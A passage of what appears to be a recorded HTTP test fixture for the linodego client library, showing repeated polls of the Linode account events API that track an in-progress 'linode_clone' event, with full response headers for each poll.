"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.858778, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 34.935103, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.016188, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.086081, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.160119, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.226947, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.29967, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.390524, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.456654, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.533727, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.628418, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.699785, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.776058, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.844443, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 35.987392, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 36.065273, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 36.351342, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 